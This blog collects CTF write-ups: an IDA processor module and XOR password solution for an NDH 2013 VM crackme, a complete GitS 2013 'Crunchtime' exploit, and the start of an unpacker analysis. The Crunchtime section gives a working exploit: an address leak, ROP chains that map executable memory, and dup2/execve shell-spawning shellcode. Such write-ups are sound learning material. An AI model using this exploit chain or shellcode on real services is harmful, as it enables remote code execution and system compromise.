Another NDH quals another VM wait ...
Introduction
Last weekend I participated in the Nuit du Hack CTF Quals 2013 with my teamate delroth, you can find an excellent write-up about escaping a Python sandbox on his blog.
So I decided to post a writeup too about the last crackme challenge "Crackme #1".
This Reverse Engineering challenge was a virtual machine, so I decided to reverse the full vm, but today I figured out something ...
Do you remember last ndh prequals ? no no I will not talk about bmp chall but about VMNDH-2k12, it was exactly the same VM (I'm very sad to have lost some hours to reverse something that I know), the only changes was the opcode values, so this post will not deal with the vm stuff you have all the information on this website.
VM Opcode
You can find the vm dump at :
LOAD:000000000048F2E8 vm_dump db 7Fh ;
LOAD:000000000048F2E9 db 45h ; E
LOAD:000000000048F2EA db 4Ch ; L
LOAD:000000000048F2EB db 46h ; F
LOAD:000000000048F2EC db 72h ; r
LOAD:000000000048F2ED db 3
LOAD:000000000048F2EE db 0Ah
Real vm code start at offset 0x06 (byte 0x0A) and the size of the vm code is 0x371 (881 bytes).
Do you want to mary me ?
I love IDA, and I like writting plugins, scripts, processor (when I don't have to reverse IDA for understanding how their api works :p) in python, so after reversing almost the same vm, I decided to write my ndh2k13 processor, here is the code :
from idaapi import *
class DecodingError(Exception):
pass
class NDHProcessor(processor_t):
id = 0x8000 + 5855
flag = PR_ADJSEGS | PRN_HEX
cnbits = 8
dnbits = 8
psnames = ["ndh2k13"]
plnames = ["ndh2k13 VM CPU"]
segreg_size = 0
instruc_start = 0
assembler = {
"flag": AS_NCHRE | ASH_HEXF4 | ASD_DECF1 | ASO_OCTF3 | ASB_BINF2
| AS_NOTAB,
"uflag": 0,
"name": "NDH assembler",
"origin": ".org",
"end": ".end",
"cmnt": ";",
"ascsep": '"',
"accsep": "'",
"esccodes": "\"'",
"a_ascii": ".ascii",
"a_byte": ".byte",
"a_word": ".word",
"a_bss": "dfs %s",
"a_seg": "seg",
"a_curip": "PC",
"a_public": "",
"a_weak": "",
"a_extrn": ".extern",
"a_comdef": "",
"a_align": ".align",
"lbrace": "(",
"rbrace": ")",
"a_mod": "%",
"a_band": "&",
"a_bor": "|",
"a_xor": "^",
"a_bnot": "~",
"a_shl": "<<",
"a_shr": ">>",
"a_sizeof_fmt": "size %s",
}
reg_names = regNames = [
"R0", "R1", "R2", "R3", "R4",
"R5", "R6", "R7", "SP", "BP",
"CS", "DS"
]
instruc = instrs = [
{ 'name': 'PUSH', 'feature': CF_USE1 },
{ 'name': 'PUSHB', 'feature': CF_USE1 },
{ 'name': 'PUSHW', 'feature': CF_USE1 },
{ 'name': 'NOP', 'feature': 0 },
{ 'name': 'POP', 'feature': CF_USE1 },
{ 'name': 'MOV', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'MOVB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'MOVW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ADD', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ADDB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ADDW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'SUB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'SUBB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'SUBW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'MUL', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'MULB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'MULW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'DIV', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'DIVB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'DIVW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'INC', 'feature': CF_USE1 },
{ 'name': 'DEC', 'feature': CF_USE1 },
{ 'name': 'OR', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ORB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ORW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'AND', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ANDB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'ANDW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'XOR', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'XORB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'XORW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'NOT', 'feature': CF_USE1 },
{ 'name': 'JZ', 'feature': CF_USE1 },
{ 'name': 'JNZ', 'feature': CF_USE1 },
{ 'name': 'JMPS', 'feature': CF_USE1 | CF_STOP },
{ 'name': 'TEST', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'CMP', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'CMPB', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'CMPW', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'CALL', 'feature': CF_USE1 | CF_CALL },
{ 'name': 'RET', 'feature': CF_STOP },
{ 'name': 'JMPL', 'feature': CF_USE1 | CF_STOP },
{ 'name': 'END', 'feature': CF_STOP },
{ 'name': 'XCHG', 'feature': CF_USE1 | CF_USE2 },
{ 'name': 'JA', 'feature': CF_USE1 },
{ 'name': 'JB', 'feature': CF_USE1 },
{ 'name': 'SYSCALL', 'feature': 0 },
]
instruc_end = len(instruc)
def __init__(self):
processor_t.__init__(self)
self._init_instructions()
self._init_registers()
def _init_instructions(self):
self.inames = {}
for idx, ins in enumerate(self.instrs):
self.inames[ins['name']] = idx
def _init_registers(self):
self.reg_ids = {}
for i, reg in enumerate(self.reg_names):
self.reg_ids[reg] = i
self.regFirstSreg = self.regCodeSreg = self.reg_ids["CS"]
self.regLastSreg = self.regDataSreg = self.reg_ids["DS"]
def _read_cmd_byte(self):
ea = self.cmd.ea + self.cmd.size
byte = get_full_byte(ea)
self.cmd.size += 1
return byte
def _read_reg(self):
r = self._read_cmd_byte()
if r >= 0x0A:
raise DecodingError()
return r
def _ana_ntypeinstr(self, name, valid):
cmd = self.cmd
optype = self._read_cmd_byte()
if optype not in valid:
raise DecodingError()
if optype not in (4, 5, 6):
cmd[0].type = o_reg
cmd[0].dtyp = dt_word
cmd[0].reg = self._read_reg()
if optype == 0x0:
cmd.itype = self.inames[name]
cmd[1].type = o_reg
cmd[1].dtyp = dt_word
cmd[1].reg = self._read_reg()
elif optype == 0x1:
cmd.itype = self.inames[name + "B"]
cmd[1].type = o_imm
cmd[1].dtyp = dt_byte
cmd[1].value = self._read_cmd_byte()
elif optype == 0x2:
cmd.itype = self.inames[name + "W"]
cmd[1].type = o_imm
cmd[1].dtyp = dt_word
cmd[1].value = self._read_cmd_byte()
cmd[1].value |= self._read_cmd_byte() << 8
elif optype == 0x3:
cmd.itype = self.inames[name]
elif optype == 0x4:
cmd.itype = self.inames[name + "B"]
cmd[0].type = o_imm
cmd[0].dtyp = dt_byte
cmd[0].value = self._read_cmd_byte()
elif optype == 0x5:
cmd.itype = self.inames[name + "W"]
cmd[0].type = o_imm
cmd[0].dtyp = dt_word
cmd[0].value = self._read_cmd_byte()
cmd[0].value |= self._read_cmd_byte() << 8
elif optype == 0x6:
cmd.itype = self.inames[name + "B"]
cmd[0].type = o_phrase
cmd[0].dtyp = dt_word
cmd[0].reg = self._read_reg()
cmd[1].type = o_reg
cmd[1].dtyp = dt_word
cmd[1].reg = self._read_reg()
elif optype == 0xA:
cmd.itype = self.inames[name]
cmd[1].type = o_phrase
cmd[1].dtyp = dt_word
cmd[1].reg = self._read_reg()
else:
raise DecodingError()
def _ana_one_r(self, name):
cmd = self.cmd
cmd.itype = self.inames[name]
cmd[0].type = o_reg
cmd[0].dtyp = dt_word
cmd[0].reg = self._read_reg()
def _ana_two_r(self, name):
cmd = self.cmd
cmd.itype = self.inames[name]
cmd[0].type = o_reg
cmd[0].dtyp = dt_word
cmd[0].reg = self._read_reg()
cmd[1].type = o_reg
cmd[1].dtyp = dt_word
cmd[1].reg = self._read_reg()
def _ana_jmp(self, name, size=16):
cmd = self.cmd
cmd.itype = self.inames[name]
addr = self._read_cmd_byte()
if size == 16:
addr |= self._read_cmd_byte() << 8
if (addr & 0x8000):
addr -= 0x10000
else:
if addr & 0x80:
addr -= 0x100
addr += cmd.ea + cmd.size
cmd[0].type = o_near
cmd[0].dtyp = dt_word
cmd[0].addr = addr
def _ana(self):
cmd = self.cmd
opcode = self._read_cmd_byte()
if opcode == 0x1F:
self._ana_ntypeinstr("PUSH", valid=(3, 4, 5))
elif opcode == 0x0A:
cmd.itype = self.inames["JMPL"]
self._ana_jmp("JMPL")
elif opcode == 0x1C:
self._ana_ntypeinstr("MOV", valid=(0, 1, 2, 6, 7, 8, 9, 10))
elif opcode == 0x0C:
cmd.itype = self.inames["CALL"]
flags = self._read_cmd_byte()
if flags == 0x4:
addr = self._read_cmd_byte()
addr |= self._read_cmd_byte() << 8
if (addr & 0x8000):
addr -= 0x10000
addr += cmd.ea + cmd.size
cmd[0].type = o_near
cmd[0].dtyp = dt_word
cmd[0].addr = addr
elif flags == 0x3:
reg = self._read_reg()
cmd[0].type = o_reg
cmd[0].dtyp = dt_word
cmd[0].reg = reg
else:
raise DecodingError()
elif opcode == 0x30:
cmd.itype = self.inames["SYSCALL"]
elif opcode == 0x0B:
cmd.itype = self.inames["RET"]
elif opcode == 0x1A:
self._ana_ntypeinstr("SUB", valid=(0, 1, 2))
elif opcode == 0x0D:
self._ana_ntypeinstr("CMP", valid=(0, 1, 2))
elif opcode == 0x11:
self._ana_jmp("JZ")
elif opcode == 0x09:
cmd.itype = self.inames["END"]
elif opcode == 0x1F:
self._ana_jmp("JMPS", size=8)
elif opcode == 0x17:
self._ana_one_r("INC")
elif opcode == 0x10:
self._ana_jmp("JNZ")
elif opcode == 0x16:
self._ana_one_r("DEC")
elif opcode == 0x13:
self._ana_ntypeinstr("XOR", valid=(0, 1, 2))
elif opcode == 0x0E:
self._ana_two_r("TEST")
elif opcode == 0x1D:
self._ana_one_r("POP")
elif opcode == 0x07:
self._ana_jmp("JA")
elif opcode == 0x0F:
self._ana_jmp("JMPS", size=8)
elif opcode == 0x06:
self._ana_jmp("JB")
elif opcode == 0x1B:
self._ana_ntypeinstr("ADD", valid=(0, 1, 2))
elif opcode == 0x08:
self._ana_two_r("XCHG")
elif opcode == 0x19:
self._ana_ntypeinstr("MUL", valid=(0, 1, 2))
else:
raise DecodingError()
return cmd.size
def ana(self):
try:
return self._ana()
except DecodingError:
return 0
def _emu_operand(self, op):
if op.type == o_mem:
ua_dodata2(0, op.addr, op.dtyp)
ua_add_dref(0, op.addr, dr_R)
elif op.type == o_near:
if self.cmd.get_canon_feature() & CF_CALL:
fl = fl_CN
else:
fl = fl_JN
ua_add_cref(0, op.addr, fl)
def emu(self):
cmd = self.cmd
ft = cmd.get_canon_feature()
if ft & CF_USE1:
self._emu_operand(cmd[0])
if ft & CF_USE2:
self._emu_operand(cmd[1])
if ft & CF_USE3:
self._emu_operand(cmd[2])
if not ft & CF_STOP:
ua_add_cref(0, cmd.ea + cmd.size, fl_F)
return True
def outop(self, op):
if op.type == o_reg:
out_register(self.reg_names[op.reg])
elif op.type == o_imm:
OutValue(op, OOFW_IMM)
elif op.type in [o_near, o_mem]:
ok = out_name_expr(op, op.addr, BADADDR)
if not ok:
out_tagon(COLOR_ERROR)
OutLong(op.addr, 16)
out_tagoff(COLOR_ERROR)
QueueMark(Q_noName, self.cmd.ea)
elif op.type == o_phrase:
out_symbol('[')
out_register(self.reg_names[op.reg])
out_symbol(']')
else:
return False
return True
def out(self):
cmd = self.cmd
ft = cmd.get_canon_feature()
buf = init_output_buffer(1024)
OutMnem(15)
if ft & CF_USE1:
out_one_operand(0)
if ft & CF_USE2:
OutChar(',')
OutChar(' ')
out_one_operand(1)
if ft & CF_USE3:
OutChar(',')
OutChar(' ')
out_one_operand(2)
term_output_buffer()
cvar.gl_comm = 1
MakeLine(buf)
def PROCESSOR_ENTRY():
return NDHProcessor()
If you have trouble for dumping vm_opcode, you can find the dump here.
Load the vm into IDA, choose "ndh2k13 VM CPU: ndh2k13", when IDA ask you for the memory organisation tell him :
- ROM START ADDRESS : 0x8000
- Loading address : 0x8000
Now you can start reverse :)
Solution
We have got only 3 syscall for this version of the vm :
- R0 = 0x01 : exit
- R0 = 0x03 : read
- R0 = 0x04 : write
The code of the vm start here :
ROM:8317 MOVW R0, aPassword
ROM:831C CALL write_msg
ROM:8320 SUBB SP, $20
ROM:8324 MOV R2, SP
ROM:8328 MOVB R1, 0
ROM:832C MOVB R3, $1F
ROM:8330 MOVB R0, $3
ROM:8334 SYSCALL ; SYSCALL READ
ROM:8335 MOV R0, R2
ROM:8339 CALL check_password
And the pseudo - code of the function check_password is :
char *key = 0x8342;
if (strlen(buf_password) == 9) // "\n" include
if (buf_password[0] ^ key[0] == 'S')
if (buf_password[1] ^ key[1] == '[')
if (buf_password[2] ^ key[2] == 'K')
if (buf_password[3] ^ key[3] == ')')
... etc ...
print("GOOD PASSWORD\n")
exit
print("BAD PASSWORD\n")
exit
And the good password is :
key = [0x12, 0x21, 0x02, 0x19, 0x25, 0x34, 0x29, 0x11]
res = ['S', '[', 'K', ')', 'R', 'v', 'Z', 'I']
password = ""
for i in xrange(0, 8):
password += chr(ord(res[i]) ^ key[i])
print password
The flag was 'AzI0wBsX'.
Conclusion
I'm an idiot to reverse an entire vm and not figure out it was the same than last year, but during ctf you want to be the fatest and don't (always) think about old challenges.
Another solution was to count the number of instructions executed by the vm, yeah because when you write crackme, I think you should compute hash, or something like that, because consecutive if statements is just lulz.
Enjoy :
#! /bin/sh
charset="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
charset="$charset _ - ! $ % ^ \\& \\* + = 0 1 2 3 4 5 6 7 8 9 > < ,"
cat > gdbscript <<EOF
set height 0
define countinstrs
p "instr"
c
countinstrs
end
b *0x0000000000400C7F # call handler opcode
run < guess
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
EOF
for c in $charset; do
guess="$c"
echo -n "$guess" > guess
echo "AAAAAAA" >> guess
echo -n "trying key `cat guess`... "
gdb ./simple < gdbscript 2>&1 \
| grep '^\$.*= "instr"$' \
| tail -1 \
| cut -d ' ' -f 1 \
| cut -c 2-
done
First letter :
trying key zAAAAAAA... 245
trying key AAAAAAAA... 252
trying key BAAAAAAA... 245
Edit script for replacing first letter by "A"
trying key AyAAAAAA... 252
trying key AzAAAAAA... 259
trying key AAAAAAAA... 252
And do it for the 8 letters.
CrunchTime
Introduction
Last weekend I participated in the GitS 2013 CTF for team SoSix (team created with my friend @delroth).
Here is my writeup for the pwn400 challenge, called Crunchtime.
Crunchtime is a linux elf64 binary which is an hash generating service.
The binary offers 5 options :
- 1 - AddString
- 2 - PrintString
- 3 - ComputeCRC
- 4 - PrintCRC
- 5 - Exit
Addstring
This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.
If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.
PrintString
This option asks the user which string number he wants, and print it. This function checks if the number < 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.
ComputeCRC
This option will generate CRC for all the strings entered by the user.
PrintCRC
This option will print all CRC computed and the string which is associated.
Vulnerability
When the user asks for a new string, a function "CreateNewString" (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :
But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A ("\n").
So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.
We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo "CreateNewString" :
We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.
So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.
Let's see an example :
- User ask for a new string
- User enter the string : "A" * 0x220 + "\x4B"
- Saved RBX = 0x4242424242424242
- Saved RBP = 0x4242424242424242
- Saved RFLAGS = 0x4242424242424242
- ReturnAddress low byte = 0x4B instead of in our case 0x80
- The value of our saved RBX will be pushed on the stack before calling CreateNewString
- User enters a new string : "A" * 0x200 + "\xA1" (0x00007FFFF7FFDFA1 == "retn")
- ReturnAddress will point to a retn instruction, and then retn to our 0x4242424242424242
Now we can control full of rip.
> readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 8
The stack is not executable so we will have to do some ROP.
But there is another problem :)
> readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type
Type: DYN (Shared object file)
The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !
We will have to find a way to leak information, especially one which help us to construct our rop payload.
Here is the pseudo-code of the function "CreateNewString" :
size = ReadUntil(fd, buffer, 0x221, 0x0A);
if (buffer[size] == 0x0A)
buffer[size] = 0;
memcpy(malloc(strlen(buffer)), buffer, strlen(buffer));
If the buffer doesn't end with "\n", no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.
Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :
> perl -e'print "1\n" . "A"x536 . "\x02"x8 . "\x80" . "2\n0\n5\n"' | nc localhost 10100 | hexdump -C
00000000 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e |Select an option|
00000010 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 6e |:. 1. Add strin|
00000020 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 72 |g. 2. Print str|
00000030 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 |ing. 3. Generat|
00000040 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 6e |e CRCs. 4. Prin|
00000050 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 74 |t CRCs. 5. Exit|
00000060 0a 4e 65 77 20 73 74 72 69 6e 67 3a 20 53 65 6c |.New string: Sel|
00000070 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e 3a 0a 20 |ect an option:. |
00000080 20 31 2e 20 41 64 64 20 73 74 72 69 6e 67 0a 20 | 1. Add string. |
00000090 20 32 2e 20 50 72 69 6e 74 20 73 74 72 69 6e 67 | 2. Print string|
000000a0 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 65 20 43 |. 3. Generate C|
000000b0 52 43 73 0a 20 20 34 2e 20 50 72 69 6e 74 20 43 |RCs. 4. Print C|
000000c0 52 43 73 0a 20 20 35 2e 20 45 78 69 74 0a 57 68 |RCs. 5. Exit.Wh|
000000d0 69 63 68 20 73 74 72 69 6e 67 20 6e 75 6d 62 65 |ich string numbe|
000000e0 72 20 64 6f 20 79 6f 75 20 77 61 6e 74 3f 0a 53 |r do you want?.S|
000000f0 74 72 69 6e 67 20 30 20 2d 20 41 41 41 41 41 41 |tring 0 - AAAAAA|
00000100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
00000310 41 41 02 02 02 02 02 02 02 02 80 9f 40 4e fa 7f |AA..........@N..|
00000320 0a 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f |.Select an optio|
00000330 6e 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 |n:. 1. Add stri|
00000340 6e 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 |ng. 2. Print st|
00000350 72 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 |ring. 3. Genera|
00000360 74 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 |te CRCs. 4. Pri|
00000370 6e 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 |nt CRCs. 5. Exi|
00000380 74 0a |t.|
00000382
As you can see after the repeated "A" we can see the return adress : 0x7ffa4e409f80.
Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.
Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :
00007FFFF7FFE3F0 mov rsi, r12
It calls recv() just after, so be careful.
I didn't find any shellcode with dup2 and execve, so I wrote it :
; dup2(4, 2)
; dup2(4, 1)
; dup2(4, 0)
; execve("/bin/sh")
push 0x04
pop rdi
push 0x21
pop rax
push 0x2
pop rsi
syscall
dec rsi
push 0x21
pop rax
syscall
dec rsi
push 0x21
pop rax
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
Exploit
import socket
import struct
import sys
def leak_return_addr(s):
s.recv(97) # recv menu
s.send("1\n")
s.recv(12) # recv new str
# [BUF] [RBX] [RBP] [EFLAGS] [RIP LOW BYTE]
buf = "A" * 520 + "A" * 8 + "A" * 8 + "\x02" * 8 + "\x80"
s.send(buf)
s.recv(97)
s.send("2\n")
s.recv(33)
s.send("0\n")
buf = s.recv(562)
leak = buf[-7:-1] + "\x00" * 2
addr_leak = struct.unpack("<Q", leak)[0]
return addr_leak
def stage1(s, addr_return, fd):
gadgets = [
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", addr_return + 0x2020a8), # .got.plt send()
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x40), # xor eax, eax ; pop rdi ; retn
struct.pack("<Q", fd),
struct.pack("<Q", addr_return + 0x278), # pop rdx;pop rbx; poprbp;ret
struct.pack("<Q", 0x00000000000000008),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return - 0x230), # send()
struct.pack("<Q", addr_return + 0x50F), # pop r14; ret
struct.pack("<Q", fd),
struct.pack("<Q", addr_return - 0x8), # re triger vuln
]
s.recv(97)
s.send("1\n")
s.recv(12)
# 00007FFFF7FFDF4B push rbx
# [ RBX ] [ RBP ] [ EFLAGS]
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
gadgets.reverse()
for i in gadgets:
s.recv(12)
buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
# 00007FFFF7FFDFA1 retn
s.recv(12)
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
s.send(buf)
s.send("B")
leak_send = s.recv(8)
send_addr = struct.unpack("<Q", leak_send)[0]
print "[+] Send() @ = ", hex(send_addr)
stage2(s, addr_return, fd, send_addr)
def stage2(s, addr_return, fd, send_addr):
gadgets = [
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", 0x1000), # r12 = ....
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x40), # xor eax, eax ; pop rdi ; retn
struct.pack("<Q", 0x13370000),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000031),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000007),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", send_addr - 0x51e0 ), # mmap()
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", 0x13370000), # r12 = ....
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x1000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x42), # pop rdi ; ret
struct.pack("<Q", fd),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return - 0x270), # recv()
struct.pack("<Q", 0x13370000), # r12 = ....
struct.pack("<Q", addr_return - 0x110), # exit DBG
]
s.recv(12)
buf = "A" + "\x00" * 518 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
gadgets.reverse()
for i in gadgets:
s.recv(12)
buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
s.recv(12)
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
s.send(buf)
s.send("\x90")
s.send("\x90")
shellcode = "\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "\x90" * 50
payload = "\x90" * (4096 - len(shellcode)) + shellcode
s.send(payload)
enjoyshell(s)
def enjoyshell(s):
while True:
print ">",
cmd = raw_input()
if not cmd:
break
s.send(cmd + "\n")
sys.stdout.write(s.recv(65536) + "\n")
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 10100))
addr_return = leak_return_addr(s)
print "[+] Addr leak = ", hex(addr_return)
stage1(s, addr_return, 4)
s.close()
if __name__ == '__main__':
main()
Binary Auditing Training Package unpackme_03
Introduction
Today, I was bored so I decided to have fun with http://www.binary-auditing.com/.
And I found a very fun challenge inside unpacking exercices :
Unpackme
Packer starts here :
seg009:00411800 start proc near
seg009:00411800 call $+5
seg009:00411805 xor ebp, ebp
seg009:00411807 pop ebp
seg009:00411808 sub ebp, offset word_401A1E
seg009:0041180E xor ebx, ebx
seg009:00411810 lea eax, byte_401A4D[ebp]
seg009:00411816
seg009:00411816 loc_411816: ; CODE XREF: start+1Fj
seg009:00411816 inc bl
seg009:00411818 mov cl, [eax]
seg009:0041181A xor cl, bl
seg009:0041181C cmp cl, 55h
seg009:0041181F jnz short loc_411816
seg009:00411821 mov ecx, 55Ah
seg009:00411826 lea esi, byte_401A4D[ebp]
seg009:0041182C mov edi, esi
seg009:0041182E
seg009:0041182E loc_41182E: ; CODE XREF: start+32j
seg009:0041182E lodsb
seg009:0041182F xor al, bl
seg009:00411831 stosb
seg009:00411832 loop loc_41182E
The first loop is for computing key for XOR operation. ebx will be equal to 0x77.
The second loop will decrypt first stage of the packer with the key stored into ebx.
Next the packer will resolve base address of kernel32.dll by getting the current structured exception handling (SEH) frame into fs:[0] and get an address inside kernel32 after the seh handler, and back
from this address into memory for finding 'PE' and 'MZ' signature.
At this point it will have the base address of kernel32.dll
Then it will parse PE header of this dll, get export function name table and search for GlobalAlloc().
It will Alloc some space, and copy different portion of code into it. We will return to the analysis of this code later (some stuff are here for api resolution during main execution).
